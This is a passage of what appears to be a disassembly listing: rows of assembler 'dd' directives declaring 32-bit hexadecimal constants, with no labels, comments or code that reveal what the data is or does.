		dd 0E689C178h, 0A8590508h, 404D7CD8h, 0A5FC54BFh, 5913D2B6h
		dd 0EAD2E7E5h, 0CE59D77Ah, 0B638E9C1h, 5AD5CF89h, 0F46BFFF9h
		dd 0E35225E8h, 51197B25h, 43AB6F76h, 0F42FD2FCh, 0AC40525Fh
		dd 7302E1Fh, 7CA80C3Bh,	0B00D4E49h, 0C35826C8h,	16B2A794h
		dd 0E871F7F9h, 0E9295EA5h, 7710C7F0h, 3C1E1033h, 0C86A1630h
		dd 0E14ED141h, 526A20FEh, 5D0BA8BAh, 820944DEh,	0A98666h
		dd 9C19D605h, 8F29772Ch, 12900720h, 0D1398427h,	0AB5D42DDh
		dd 0E1CB71F7h, 6FCA4FE9h, 962C9828h, 0D7FC69B6h, 1217EE58h
		dd 0A01ED610h, 8A1C624h, 0A5823C5Dh, 0E80548A9h, 0EE3B46E9h
		dd 0B29F062h, 0A1081653h, 0CB591976h, 16E42B5Ch, 0D2E66E64h
		dd 0DD9081A6h, 67F1B804h, 0B2BC6CF7h, 0B452BF5Eh, 4019C301h
		dd 0A87F5F74h, 9ADA4A48h, 11BBC279h, 0E5412CA0h, 580742F6h
		dd 83B89B7Eh, 29559475h, 52107C74h, 5E270C44h, 0E9055753h
		dd 57BA0BBFh, 7F17FBACh, 556C8498h, 8622F0C6h, 0C89512Eh
		dd 28E2CEFBh, 66CF6097h, 0D4B23F5Ah, 0FEF6B307h, 8DB36C3h
		dd 212BD9FFh, 98056BA5h, 73C7E388h, 1462DA47h, 0DBD37787h
		dd 93075B94h, 76E3CBAFh, 8FC92D86h, 341F1F18h, 0AD0CD03Eh
		dd 0D5F94258h, 5AA6B945h, 59832h, 67912DADh, 683A0B05h
		dd 65A31E9Dh, 0F2189A00h, 0FE87E964h, 84E92B94h, 46A3D3E2h
		dd 1F0C4110h, 0D0D3575Ah, 90C77D92h, 8088DCADh,	0D1E8DBEh
		dd 0CD891185h, 0C567FEE2h, 0C712BC0Ch, 0FF0BB67Ch, 932C0B4Dh
		dd 0E462D309h, 98309AE7h, 81BB94DBh, 275EBECBh,	35EBD803h
		dd 0C191213h, 90FA6CC5h, 0E4C89D7h, 0ACD6BCDEh,	90B6E3FCh
		dd 0F31D582Fh, 0EE8F25FDh, 0F2D733A5h, 84BD4F62h, 4B51E9E0h
		dd 0F0DCE4B7h, 0D30AB7CBh, 0BD84EF07h, 0C24FB90Dh, 0B029E368h
		dd 2655C5D6h, 16A399Fh,	0BCF1AD9h, 0AE79CE21h, 4062C44Ch
		dd 8F0BBA36h, 44FD921h,	72FB101Ah, 50089F8h, 4FD85CEBh
		dd 7111050h, 5142AE5Bh,	5A8D1AE9h, 9DC604ACh, 0AF03B310h
		dd 80039B1h, 0B7B56DE9h, 0B7C17413h, 0C87B54AFh, 0E19FBCABh
		dd 5A7D5F82h, 86200092h, 0E967C155h, 4CFAAA5Dh,	168E2F23h
		dd 0B4DDFB06h, 5BFD8800h, 66174491h, 0D5209AA1h, 8DEE9F14h
		dd 0B839E12Fh, 3DABBF0h, 0E96E6637h, 9150CD6Fh,	5482B507h
		dd 0C8442595h, 0C1758C20h, 0F2C5208Eh, 10A1DB15h, 717AFD66h
		dd 44D614Eh, 85BCC108h,	0C335801Bh, 4C71419Bh, 928BFE4Bh
		dd 0A16BE63h, 0C3FD33AAh, 0A3A70572h, 0A805D9F7h, 463C388Ah
		dd 0BEEFFEF0h, 235D27A7h, 85088B83h, 0A53F3CF8h, 837E957Fh
		dd 0BB4CD5C9h, 0C7F819A0h, 0CBAAD997h, 68B8B0D5h, 32765F62h
		dd 74F4A1E8h, 1B5F843Eh, 92AC42CEh, 0AE6C4A00h,	40E58167h
		dd 14A61D09h, 0DB207D4Dh, 3C203777h, 0FD492A0h,	57F4AC2Ch
		dd 534BDC22h, 0E2974AB2h, 0A1049680h, 65AA70BBh, 0C9290F7Eh
		dd 0E94C48E0h, 17C080C0h, 0E27D94EEh, 40009877h, 68395DD5h
		dd 2C38DBEBh, 5CDBC949h, 0FE9F8566h, 0C8513Ah, 0B4022F68h
		dd 2644609Fh, 0E91773F0h, 4FA9B28Eh, 0F2F4EA27h, 0A342FBEh
		dd 77083647h, 0BD680775h, 0B4DD0B05h, 0CE5EF2h,	0FFC2DE2h
		dd 0C5E2015Ch, 77443190h, 0AA1509EAh, 6D57CFE3h, 2135843Ah
		dd 0F9288576h, 8C8A847Bh, 0BF665702h, 7A5D863h,	0F2FD4FADh
		dd 1E795D2Ch, 4145727h,	0CDE4799Dh, 0C2743F2Ah,	6BB9A5BAh
		dd 0E91DFBA3h, 1D7BA7CAh, 83A8BAA4h, 77064B02h,	0FD6C6816h
		dd 0D6D2089Ah, 98F38102h, 0C0279A7Bh, 6E283109h, 0F7C1C42Ah
		dd 6E67E859h, 5589A684h, 55DB903Ah, 38627568h, 7D3EA987h
		dd 7BBFC739h, 0EC2A86A5h, 3CEE4BE8h, 0E5BE92Fh,	0A86A33F1h
		dd 8BD5E149h, 0BA9C604h, 0A3CE8103h, 5303145h, 0E225C70Ch
		dd 9DA0BE34h, 6814480Bh, 0FE9C7204h, 1C16BE49h,	51B761ABh
		dd 4DF92FCDh, 541839D4h, 0E3C21BD3h, 51297D13h,	84450FBh
		dd 38B0455Ah, 0BA95A49Dh, 74D65C09h, 2DDBD031h,	52D9308Fh
		dd 73EABF80h, 48141F8h,	7C6B3ECFh, 559BC064h, 36606317h
		dd 9B452818h, 7E269022h, 0F00D2779h, 0BA09A558h, 585A035Dh
		dd 90586039h, 21522D9Eh, 4C97D0F2h, 9DCD90ABh, 0DFA072E5h
		dd 4D2E2C2Ah, 311CB805h, 0C4AF42E9h, 3189EF76h,	4A2CF0F8h
		dd 0A483BE3Fh, 77A4F2EFh, 4E554209h, 0CF0154A0h, 62A52668h
		dd 15CBCF00h, 2948E094h, 0AEA17C8h, 0FE96F6F2h,	0D46731D1h
		dd 84ACA87Fh, 0B4BBEAB5h, 849F22B5h, 94FFBF7Dh,	0B6F8AB8Dh
		dd 3B5D50B1h, 0E9C2FAFCh, 9277CD20h, 5D71A2F5h,	2DDD6C56h
		dd 0D351BF4Eh, 9F5AD0A7h, 0C79D9E9Eh, 6866809Dh, 0ABE92844h
		dd 48E4B14Eh, 0A397127Fh, 530000D8h, 11EBD18h, 8D98B1A0h
		dd 0FB03B580h, 9D397CE0h, 78A00A4h, 0ADC3E1F7h,	49182509h
		dd 742F8BDEh, 0A6C340C6h, 2290B280h, 207D5A09h,	2AE27F73h
		dd 8D590804h, 13D17ACEh, 0D781A05Fh, 0B60939E7h, 0A54A2052h
		dd 5AB77016h, 421A01EFh, 7E355F58h, 125657A4h, 0FEF6C89Fh
		dd 0F4875E57h, 8071C280h, 0B8E9136Bh, 104CA28Bh, 642A6218h
		dd 910250F4h, 0EF5E5B21h, 2658C027h, 0B27F736Dh, 0F952D77Eh
		dd 0E3E9C2F6h, 443A5593h, 3C68B860h, 0ED973650h, 0CEC20250h
		dd 4BA57D1Fh, 4C592C78h, 3E3D9AC0h, 0F74F1816h,	6FE7EBDFh
		dd 76F33502h, 518CCCE9h, 0D4193C4Ah, 7ABD1091h,	25684AE4h
		dd 0A4791116h, 0D5DD8E8Dh, 0B5011020h, 6B27D4h,	0A914F87Ah
		dd 427EB52Bh, 0CC10820h, 2CCB0A88h, 1234923Eh, 305C7258h
		dd 0E85A7359h, 8162299Ah, 5445998Ch, 0DF69A021h, 0EB492366h
		dd 0B2312789h, 0DF724ABFh, 6D1F5E80h, 68124E6Ah, 0FC333488h
		dd 0A1334B57h, 9600225Ch, 42F71CFFh, 0E1308DB1h, 692C4D52h
		dd 8EC8C4Ch, 4A201C68h,	8258DD71h, 37F1126Dh, 0CCA86C72h
		dd 974C93E9h, 0C8FBD227h, 185E3D87h, 0EDF537A4h, 838EC979h
		dd 1014F353h, 0AC2438E2h, 0F10712C0h, 24982FDBh, 48802B68h
		dd 0C32213B0h, 0C3E95B6Eh, 28C6E570h, 0F2B650F6h, 3652BAF0h
		dd 228B9784h, 0B4275A24h, 0A4E3EB6Bh, 0FB8848C4h, 40237C98h
		dd 0E0A9F740h, 564F6A17h, 0F039E9EBh, 35580253h, 204266D1h
		dd 0B9499C82h, 96E52644h, 0EB83CD2Ah, 782BFA52h, 0C2425C6Ch
		dd 45D9E815h, 0E1594F7Fh, 0A5B42861h, 0B997E85h, 8030B020h
		dd 0A0B0540h, 0D72F1CC3h, 5DF81B41h, 1ADA02B0h,	0E9B0A95Ah
		dd 9C1DD16h, 3117F3B8h,	0E738BBF0h, 52C104B9h, 0E9410122h
		dd 3C980D41h, 63F89EA7h, 0C123F47Fh, 6EA9A0Ch, 0C1B96BC3h
		dd 31406809h, 0F1920630h, 0D9BA1AC0h, 0A01A0343h, 4C12ED6h
		dd 2E96C88h, 0C11D137Ah, 50DD79D5h, 3FE7D8F0h, 0B54A948Ch
		dd 0D35D8C09h, 6BE9C2FCh, 75253D54h, 840FCB68h,	0ABFFAE2Fh
		dd 0D2A957B8h, 0BE62BCF7h, 0B85060CAh, 4E3C15FDh, 88C1AC1Ah
		dd 47FC924Fh, 7F2FEE5h,	20B8F3D3h, 0BE0D0556h, 0FB3F317Bh
		dd 9D4B681Fh, 520DFC20h, 0DEB5F9D0h, 0FAA521Eh,	0E1DE132Eh
		dd 0DFB16FACh, 2546B66Eh, 808F4070h, 34ED78C5h,	0AAAF371Dh
		dd 94EB8085h, 0AE861769h, 0F7E97545h, 0B40289F8h, 32F4805Dh
		dd 8ADD6940h, 8B405E81h, 1D7134C6h, 85354833h, 0C40C9B0Bh
		dd 0A149884Fh, 0BF37FB5Fh, 0B2EF14C4h, 5F19D064h, 0B96400FAh
		dd 0AC729BFDh, 745E2D02h, 0E3296AE3h, 0FC99B76Ch, 5EEA1Bh
		dd 14E64AA3h, 5190D1F7h
		dd 7656FE0Bh, 4A2BD070h, 0FB571353h, 0C9FAC452h, 0AEF26ECAh
		dd 9DA40DB1h, 0A88C57C8h, 25F0C93h, 6805EEC1h, 0B5107CDh
		dd 0DC10AC82h, 40080153h, 7FC0D335h, 290005B9h,	252A4C5Dh
		dd 483A60BEh, 6702216Fh, 21619243h, 0C0BDC60Bh,	0EE2D5852h
		dd 0AF09927Ch, 0B8D6D0E9h, 8956E5C3h, 0D3E3E21Ch, 31F790D2h
		dd 5D2817B7h, 1918387Dh, 0EB38EA5Bh, 0E9924A4Ch, 0EAE3E2B8h
		dd 19D3DD43h, 175DFECBh, 0D48AAD5Ch, 72522A93h,	0FB805A5Bh
		dd 95081912h, 88208D5h,	0CEFE0A92h, 0B26650F2h,	81AFAED2h
		dd 2F06D1Bh, 57F2FF53h,	0E2C15A16h, 9DF20700h, 9DEDE472h
		dd 0C0E9D901h, 6856002Fh, 2F7DBE10h, 0DF52D6F1h, 52BD224Ch
		dd 0F84E3182h, 8AD6F77Ch, 9494D780h, 1540685Ah,	1A94970Eh
		dd 178BE795h, 34DDEE55h, 4DDB86Bh, 61C0144Fh, 0FE72F4C0h
		dd 10CDBC58h, 46E15F18h, 2F78F03Fh, 59E9160h, 0EFE38FDAh
		dd 3B84D2A4h, 4F3439B3h, 5CF27B00h, 29A627E5h, 0B15A73D7h
		dd 0BCDA6431h, 88150BCh, 7128173h, 1641979Ah, 496B631Dh
		dd 0C5285568h, 0C2D8B508h, 0C2692A65h, 0EC2094EAh, 3DD3248Dh
		dd 273BDEAFh, 96278716h, 8E734A17h, 6976087Ch, 4B7A8403h
		dd 0BDCEFE85h, 80B5B603h, 8627DEF6h, 595CFE65h,	0B9526F34h
		dd 0F309A41Eh, 5918D5B1h, 0CC924EE1h, 6212CF4Eh, 7FECE1DDh
		dd 8B2095BCh, 99BD55D7h, 7E300A5Ch, 6513A44Ah, 76996DBAh
		dd 3D7A10CAh, 0EA9B95Fh, 1DFCB252h, 94ABD5E5h, 7BC2740Eh
		dd 0D3601E73h, 0F6925B83h, 18495025h, 148BCCFh,	0CF814599h
		dd 0F2D5635Dh, 875EC2DDh, 0EF8D19D7h, 7C7FC83Ch, 5B432F61h
		dd 2F9B5148h, 2189DDDDh, 2FF97A5Eh, 87F33B4Bh, 0C71A5449h
		dd 0C1B75C6Bh, 5F52FB0Fh, 0EE116A10h, 557A76B2h, 0E916B8BCh
		dd 0E3F3549Ah, 54DF3F18h, 19022AB9h, 0B56830D8h, 0A4A2A41Eh
		dd 35C4CF0h, 8025B450h,	0E38277C3h, 585B0375h, 4F9EEBE9h
		dd 7FF9CB24h, 4C22FD31h, 0AF288F5Fh, 0B69055DFh, 8BEB5170h
		dd 4132A9C9h, 0BBF22617h, 0A2D70DCBh, 0B1E91E44h, 34BB6665h
		dd 0BF4BFE65h, 4C9DC144h, 0CC14EA13h, 0D02C107Eh, 0F272BA03h
		dd 0B85BB925h, 67740C12h, 0E9A073B8h, 0FCEABEFh, 85A7E5D5h
		dd 0C39CE2EAh, 9431685Ch, 0B09630ACh, 13E06D26h, 210B9C92h
		dd 70C2E9EFh, 424E9694h, 0CE5F828Dh, 951B2615h,	6E08025h
		dd 0D40DE8D1h, 14320A00h, 0AF21B22Dh, 1DA3907Fh, 0E873D46h
		dd 0EBBA82E9h, 0C48141FAh, 956800B8h, 0C65DCB6Dh, 0F0E0C069h
		dd 19C92A0Dh, 0D461E2A0h, 0F1C06EB2h, 39B04F76h, 88F022BAh
		dd 0B36CAA08h, 3B3D2629h, 77011A0Eh, 14D1A55Dh,	294E6A60h
		dd 56E92D06h, 685E988Bh, 752BC22Fh, 57B60BC6h, 55CBD3Dh
		dd 0E8298B2Ch, 5A689398h, 509AF38Ah, 0AC4BE4D0h, 0DF3F72AFh
		dd 8454D157h, 986D5AE9h, 75D6E41Fh, 2E949697h, 0E2AE44D5h
		dd 0A4C3C4D5h, 42C3104h, 870FD114h, 0C3E181C0h,	35505F7Bh
		dd 0C71742A0h, 0B449FAB2h, 6966DE50h, 0C370D5F2h, 7E9A4310h
		dd 0C2D9E909h, 0C98873FCh, 737E2D1Fh, 0B0726309h, 8248CFF9h
		dd 6AE49500h, 77F60A8Bh, 0B85200B5h, 0EE0B5Fh, 60C53512h
		dd 0C209542Dh, 41AF584Bh, 7469B897h, 5BD1F3D1h,	4E762DA0h
		dd 5B7B46E9h, 24BCC089h, 0C059FEDBh, 401B3A98h,	87E712D1h
		dd 0B60A13CFh, 0D05017B8h, 0E8D660FCh, 0B53AC487h, 81134D1Dh
		dd 94EA7726h, 46149C0h,	0D987C331h, 4164288h, 893FCC66h
		dd 69C3EECEh, 68071C03h, 0BC97693Ah, 7765BF18h,	0DB9CB670h
		dd 1941B889h, 96FCBF4h,	685C591Dh, 0E228255Ch, 21E4CF23h
		dd 0AA395740h, 54F1175h, 0A955844h, 0FA510412h,	27680360h
		dd 0D8991811h, 77E81520h, 5C635094h, 0C785028Bh, 1E660A6Fh
		dd 4F0E2640h, 0E07E5825h, 98CF012Eh, 7CBF3A06h,	0CBA97BA4h
		dd 552729DAh, 971F6BBCh, 4668B3Fh, 0EA12F011h, 775CCDC2h
		dd 297B66Eh, 0F73EFE96h, 0E9424936h, 375F5D75h,	0E790500h
		dd 0C62D787Fh, 7ED7733Ah, 656AA8C3h, 0E581E8FDh, 0E68126Dh
		dd 47DF1F3Dh, 0C063A141h, 8F1687EBh, 30E9333Eh,	3C567C2h
		dd 0BCEA723Fh, 913A8B98h, 370BFDFAh, 0EE79D15h,	74A34B32h
		dd 1CC5826Fh, 0A9FD1D06h, 5A18DC42h, 1ED5A168h,	2902EF0Bh
		dd 68705E74h, 8214200Ch, 77100B29h, 2D08B0A8h, 5E97D3DEh
		dd 5355CA45h, 161EDB00h, 25E90323h, 0AFC62C3Dh,	0F6C4EE60h
		dd 984A0CCEh, 0F70B5A5h, 505C569Fh, 8B9754E9h, 951759A8h
		dd 8816FA27h, 0AA7FF0EEh, 64B3894Fh, 5E366882h,	51799246h
		dd 8D163209h, 6894797Bh, 0F5F230A3h, 762EE91Fh,	30897752h
		dd 0E8F129FDh, 95D83999h, 5062E5F6h, 0FA9D4814h, 8D760F7h
		dd 6DCA8142h, 0CF43123Fh, 0AA4BF981h, 0EA5F5792h, 0D09829C1h
		dd 48AC3ACh, 0FB332377h, 5AD1F042h, 0FF0DE457h,	27FB97Bh
		dd 71F87E61h, 0E7DAA0C1h, 12A81F55h, 4F69E927h,	0C9BD8FA8h
		dd 655F7ED0h, 0EE7525A7h, 2268B77Fh, 2A83B0C1h,	80B94FECh
		dd 74D218Fh, 31053FD4h,	0EA3B1508h, 0C0061B1Ah,	0F6BFF05h
		dd 10E97AB8h, 58F575B9h, 605B9F1h, 0D17A5C28h, 0AFF12880h
		dd 6B123B1Fh, 0A8D6B796h, 54B8C9FDh, 0DCD125DCh, 33A06884h
		dd 1C970ECh, 4A74945Fh,	0A5CCB85Dh, 0A4BE9382h,	0D08042A0h
		dd 0E1CF5227h, 0D4357CF1h, 0D322AD2Ah, 76CB8809h, 7EC062F4h
		dd 3D07F375h, 4BD594BBh, 9A969AE0h, 460DBDE9h, 0A2617A08h
		dd 22ADFC4Ch, 7DABDF58h, 580DE6D9h, 572F5967h, 73B0F554h
		dd 8082C831h, 757FAAB9h, 8035B901h, 0C2291EA3h,	2E985655h
		dd 0D6DD5C5Ah, 3951807Fh, 0E9262F36h, 76AF7D3Ch, 5D0A18B4h
		dd 665ED728h, 0B19AC2F0h, 0EEC96E65h, 57A5D556h, 12E3247h
		dd 80714B42h, 0F86DED43h, 0A21DB82Eh, 2908052Dh, 0BD1B5481h
		dd 26301275h, 392C60C9h, 0DD1735C7h, 0FB4C76B8h, 6A267FC1h
		dd 56A7EECEh, 0C71E087Bh, 0E6D8F70Fh, 5E3D8728h, 6219FDC2h
		dd 48BDAE5h, 8ED0EF5Ah,	92B212E7h, 19B7018Ch, 57E95EADh
		dd 0C88D2F31h, 0A73D34E5h, 7A40A410h, 0B854872Fh, 5CABB04h
		dd 0E971B262h, 58799330h, 0F4ED86F4h, 7F5F4209h, 83D9B952h
		dd 3E540101h, 164100E3h, 0E9788C3Fh, 5E42D259h,	0EB1C28AAh
		dd 0DC951A70h, 3BD1E9EEh, 6BE38616h, 85DF0893h,	80ECB301h
		dd 0EBCCA2E3h, 0D9881C9Fh, 51C2305Bh, 0CF03B252h, 0EAE908B5h
		dd 0F2332F6Eh, 3833C27Eh, 0BB0C3357h, 0D388F63Eh, 424F84E9h
		dd 5C8528B8h, 0FD8BBF55h, 0C90FFCD6h, 6E14DD5Dh, 9EC27DB4h
		dd 0F78E9A9Dh, 123F4379h, 0BE4E992Ah, 4467E5EBh, 8A96C6E3h
		dd 685604E7h, 0A4451DF2h, 0D61FE3BFh, 6D6CEBBh,	1F4B23BFh
		dd 385A798Fh, 0AE5A0359h, 2D510838h, 0CFE1B2E9h, 2FAD6E5Ch
		dd 0DD7BE512h, 96C220D3h, 67780302h, 0A23B7FE9h, 5D5DE8F9h
		dd 442547E5h, 3BC3AB4h,	77849B58h, 21344C57h, 0A17E74B4h
		dd 0C16C969Dh, 0A100B7Ah, 0EC8E1ACEh, 5FFA437h,	69AC6310h
		dd 8C3B167Ah, 107BAC23h, 0C11235CDh, 0C209BEE2h, 0C4E6DD42h
		dd 7843D60Bh, 0C3FA7Bh,	6D376FAFh, 3511D05h, 0B6BC684Bh
		dd 0EC5A0740h, 7B4F1609h, 4E10AE13h, 7C562D07h,	0E91656C7h
		dd 3963BF62h, 0EBA48CA1h, 21C39502h, 7E16FF85h,	0D2D98BFEh
		dd 24AF1A4h, 0E9163B76h, 77D917FEh, 0F20D2902h,	0E0A88214h
		dd 78C22C6h, 0D4E9A7D9h, 0C8ECC9C3h, 0B42BA4C4h, 7A3FD9h
		dd 0F180CB27h, 0D94EF65Fh
		dd 3078C2B8h, 0AD0CD4C9h, 0C8E0F304h, 0E7922C74h, 62E5D1BFh
		dd 53D13653h, 74DC6841h, 0A86F303Bh, 12181D34h,	6CCC5653h
		dd 17465913h, 0F67B180Fh, 0E18B0590h, 0D5B859B6h, 0D0035E4Ch
		dd 296010C6h, 0A1E7E9C8h, 88C1D195h, 9824A4A2h,	0AC768902h
		dd 68A6421h, 4A0E782Dh,	4ED11129h, 0EBC24F0Ah, 9FAB6C5Eh
		dd 55723976h, 0EBEC1BF6h, 0C4C52DE9h, 2830D671h, 5C5C19DFh
		dd 0AD322112h, 0E05D31EEh, 1F58101h, 3C16217Fh,	7E01ED83h
		dd 85951285h, 486AB7AFh, 252D5227h, 7FB5D0C2h, 5FF92D58h
		dd 2C8198FDh, 69DC9D9Bh, 60B45A6Ch, 0E62D408Eh,	237ADC75h
		dd 2BDE5F32h, 0A830DDDFh, 2F246761h, 7502CD27h,	0D71E3F48h
		dd 8020B4Ah, 90D55B5Ah,	0B7EF64C2h, 4843DAFEh, 0BF700273h
		dd 1C827FACh, 0C04F7341h, 0E91047CCh, 0B9024615h, 0DC46B8Fh
		dd 82B9B6D6h, 29309B72h, 0C01324Ch, 0AF28F0E9h,	3CB8F83Ch
		dd 0E21E1AECh, 5AD0CB58h, 0AD121974h, 13930BAAh, 455508ABh
		dd 0A0B2E21Ah, 74C58BA7h, 4F60FC0Dh, 0E70071E6h, 2186397Ch
		dd 8494D68h, 6537816Fh,	5B313274h, 0AF24F24h, 3CDC9607h
		dd 0CE904A2h, 0F7B9ABC1h, 133BE9B0h, 0E2910CBh,	0B1614C84h
		dd 100538C7h, 10758D2Fh, 709FE9E0h, 0D656BF7Dh,	8FE25752h
		dd 0E956A1DFh, 4D8282E4h, 0A174E8F7h, 2D5F87E2h, 75EC2CB2h
		dd 0C634F7A5h, 21C6B4D4h, 0D6575A9Eh, 0B04A71h,	51AA3B78h
		dd 4648EED1h, 1DB905E9h, 0B18128D5h, 843A26E9h,	71CFAE35h
		dd 4BEB5C50h, 5156D949h, 4365130h, 506A4FAh, 0FE20DA97h
		dd 0A54C60F1h, 75D67C1h, 165F783Eh, 8C90CE59h, 673E0112h
		dd 0D1C7C82Fh, 82D16106h, 774A52E5h, 2D315CDFh,	8CBA9DC9h
		dd 5AF129AFh, 0AD4B1399h, 0E4E400Ah, 0E96F6A0Dh, 7ECABF35h
		dd 0B2BF8184h, 19B64E4Dh, 516BAC01h, 0D2D5F74Ch, 41B6BADDh
		dd 6930813h, 0C9680003h, 356C055Ah, 0A72DFAFEh,	2D407818h
		dd 6D5CC490h, 209A77DAh, 5A99141h, 0EE6DC1EAh, 2EA098D2h
		dd 2D095ED2h, 621659CFh, 0D146097h, 0C06948BFh,	691AE427h
		dd 469D3950h, 9AE3C1DAh, 3E696C12h, 126E64C8h, 0E87E8A4Ah
		dd 9FED2CEh, 9855B85Bh,	820613F0h, 65B06450h, 0E46F3433h
		dd 44F4F7FFh, 0A605DFADh, 0AABED75Ah, 5958C10h,	228D352Bh
		dd 0C6AA905Dh, 3004BA04h, 0E6C07887h, 48B50ED3h, 77382406h
		dd 0F6D8AE4Bh, 99BF4E9Ah, 12AA2C48h, 28EB5435h,	0D9950C5Eh
		dd 0F2E96282h, 3885E48h, 0C4A3749Dh, 32E2BFE8h,	0A8C0B617h
		dd 0A2BC195Ah, 0B97A581Ah, 0F7A0E232h, 0CA890E59h, 0BEF15DC8h
		dd 57709D8Ah, 26DFFAC9h, 8F66D90Dh, 6AE5FECDh, 0FAB60143h
		dd 544B6F4Eh, 0D185BEA8h, 9D71150Eh, 9CC147D2h,	5B81B74Dh
		dd 0E36F31E1h, 0CCC2EC58h, 5BE0A2BFh, 508EC028h, 731CC9B4h
		dd 66EC597Ah, 0BFF2D54Eh, 9548EB89h, 7CBFEE46h,	1166CF43h
		dd 0F30537D1h, 0EB95906Fh, 0F12CAEBDh, 75A205B1h, 0A7F7C13Eh
		dd 60306E06h, 0B7AF6620h, 31723C0h, 0FC406D27h,	5808A0C6h
		dd 0E06CA59h, 0C7DC013h, 2401510Ch, 14033620h, 0C2F0CB85h
		dd 7B2A5D0Bh, 0EE0125F0h, 521C97Ah, 53DCF416h, 58E90481h
		dd 0AF331369h, 807B3A1h, 22FC29C7h, 0B86F1A04h,	280E0C75h
		dd 0E67D5E8Bh, 2FC17F21h, 1F10DE0Fh, 0BFEFEA81h, 78161203h
		dd 0F9C446BCh, 2815888Dh, 0BE9C1928h, 93856C5Eh, 0B9AAD824h
		dd 28BFF5BEh, 5A4DE93Eh, 49B07E52h, 2AA2C20h, 68F1F766h
		dd 0B4542DBAh, 23F1FB64h, 0E1C0703Bh, 742F251Fh, 0DC8CBA29h
		dd 78C7098Ch, 4406D9E6h, 5D65763Dh, 0B8AD5BDEh,	6866C1EDh
		dd 0A322715Eh, 6DB75301h, 839E54E9h, 8858B044h,	9A809BC7h
		dd 7A7455E7h, 0BA0273A6h, 7776A909h, 0AB701982h, 91E53D5h
		dd 0E4FF754Ah, 0F0CABDA4h, 0C1F89BF7h, 8A2B587Ah, 0A5231018h
		dd 0B25D592Fh, 0E99740AFh, 34D89FCFh, 0AF55459Dh, 78D77FE1h
		dd 0C7BA05CDh, 0A827363h, 26C0EEAh, 7FF66807h, 3432BCACh
		dd 0DDC7B5D7h, 835D9FC8h, 0F71481EFh, 0B0D22C0h, 4EFDC13Eh
		dd 10202601h, 7C4D956Ah, 16145126h, 0C688FADEh,	61E660ECh
		dd 3D7BEBC3h, 2F1F1C5Ch, 5EA9F750h, 0D3CCCE57h,	9733F3FCh
		dd 0FA2BB029h, 5879A72h, 7AF6EF5Ch, 9610E983h, 4077CD1Eh
		dd 91B42B16h, 394195F2h, 7BE80593h, 0F8B41384h,	8D4EC4B4h
		dd 18EC880Ah, 1C2DEB15h, 58A4682Fh, 7055012h, 0CED2E2E9h
		dd 5BCB5522h, 0BD5F1BE0h, 0CBEBB317h, 9EBB00EAh, 130EC4Ch
		dd 45F5FD78h, 0D4390908h, 1842157Eh, 25000B2Ch,	0E924564h
		dd 0D55F40BFh, 0C8BB803Eh, 21097117h, 87D622EFh, 2C09BED8h
		dd 0FE0C041Ch, 267D3AD9h, 8C12C075h, 5A0A73E7h,	6648C2E0h
		dd 7DD54887h, 5F8D3A5Bh, 6809CF0Eh, 0B2716B84h,	5E1103Ch
		dd 9F457248h, 14715D6Ch, 0E5195E17h, 80A02A04h,	5EF2AC82h
		dd 17AAF084h, 0D952F438h, 53C8A60h, 5A683311h, 89AD8C15h
		dd 48E9C30Ah, 2DBBA9F8h, 35758005h, 271F515Eh, 1FC48915h
		dd 41BB665Eh, 0F022603Dh, 85FFED13h, 5C801BBh, 591ED3BEh
		dd 988AAFB5h, 514B8F32h, 0ED2D96A0h, 0D48A070h,	9F9A20A9h
		dd 0C15EF801h, 81D70E6h, 3743C94Eh, 944C225Ch, 0B9EB17BBh
		dd 610B4101h, 0E6E92AB2h, 0EF1445E7h, 0E90B57B7h, 4A5F7771h
		dd 64CBDB8Dh, 0C1FC1201h, 10FE3B1h, 0A330BE59h,	0FF1F4C80h
		dd 0F2550905h, 0F294AA0Eh, 0E9590801h, 0B62E6520h, 4BC09EF6h
		dd 68729F47h, 0B67A595Ch, 0BE2D029Fh, 0DC89C166h, 238E458Ch
		dd 0E180CEC4h, 0C87527D9h, 0EEA75503h, 5DC2596Fh, 0AF0E7B34h
		dd 0F34277F1h, 31EC0F3Eh, 0DDD0C062h, 2CCA058Bh, 5BED89Fh
		dd 0AAAFBFEDh, 0D501F361h, 0E912A569h, 0A9915774h, 7C0D169Dh
		dd 7E2002C9h, 29214F1Eh, 0E3B22F68h, 0A12E24D2h, 7F5EE1CAh
		dd 0AEBAB400h, 9C27C749h, 0EE20705h, 80149464h,	2BCF1B10h
		dd 86EAA34Bh, 0F1273D4Ah, 0D2CE54Eh, 6B0A4A0Ch,	9197A2E3h
		dd 298BD109h, 0E6EED267h, 8FFF923Eh, 1F680C11h,	5F2A7D58h
		dd 6A6B8917h, 7B407AA1h, 17AC2DFCh, 409BE93Fh, 79E2B9E9h
		dd 41971F2Fh, 0FFC7D1C9h, 3FAE813h, 835BF20h, 0C1D938A2h
		dd 0CB4F298Ch, 26D97331h, 39E902D4h, 527094F3h,	57DE312Ch
		dd 0DC824B4Eh, 1D054FB4h, 8E38EC77h, 145E6406h,	30E9BF88h
		dd 0B966C3CEh, 0FD9E33C7h, 901C813h, 42A406F9h,	0A1124121h
		dd 8B2FE2ACh, 0B22F10F8h, 92E9186Ah, 0ADCB65C5h, 0CEA401Dh
		dd 1390F380h, 984B59BCh, 0CE925FD9h, 52D85064h,	470D9BB0h
		dd 0E25BD931h, 4B8E2ACCh, 948FA10Ch, 490A0594h,	0D659898Ch
		dd 42BB5842h, 7F08A626h, 97385E07h, 56D329C0h, 0D20225E9h
		dd 5F51995Ch, 0BF027A2Ch, 286943B7h, 818160FDh,	0E150CF6h
		dd 0B50C13D4h, 3B51D5ECh, 4E02F0FCh, 0F701291Fh, 4C08EF94h
		dd 6D6B16ADh, 0FE16D3E3h, 9EFBB894h, 0DD331909h, 4B7FB19Ah
		dd 5456E920h, 61A8FC54h, 0EB81855Bh, 5D8B04A3h,	0A210CCF7h
		dd 9A3F84C2h, 70970812h, 3802A326h, 7F372C5Eh, 24EA00C0h
		dd 0C3D4733h, 55A8029h,	16E44BE9h, 2C80BF83h, 0B1A7CDAh
		dd 7B76680Eh, 61C0207Eh, 23EE214h, 9A68D4BDh, 0B962311Eh
		dd 8ACAA2FDh, 0C859A7h,	146EEF68h, 462C5E7Bh, 9743D956h
		dd 29722DB3h, 640997Dh,	0A26A173Fh, 0A968826Eh,	9063D40Fh
		dd 61BF4BC7h, 96B45038h, 18ADCE96h, 0DAF62E80h,	8858F280h
		dd 0C2330FBh, 0B7DCE919h
		dd 0A1B1D9F3h, 5300AD59h, 60E5EB88h, 0F4BF014Dh, 0C27488B7h
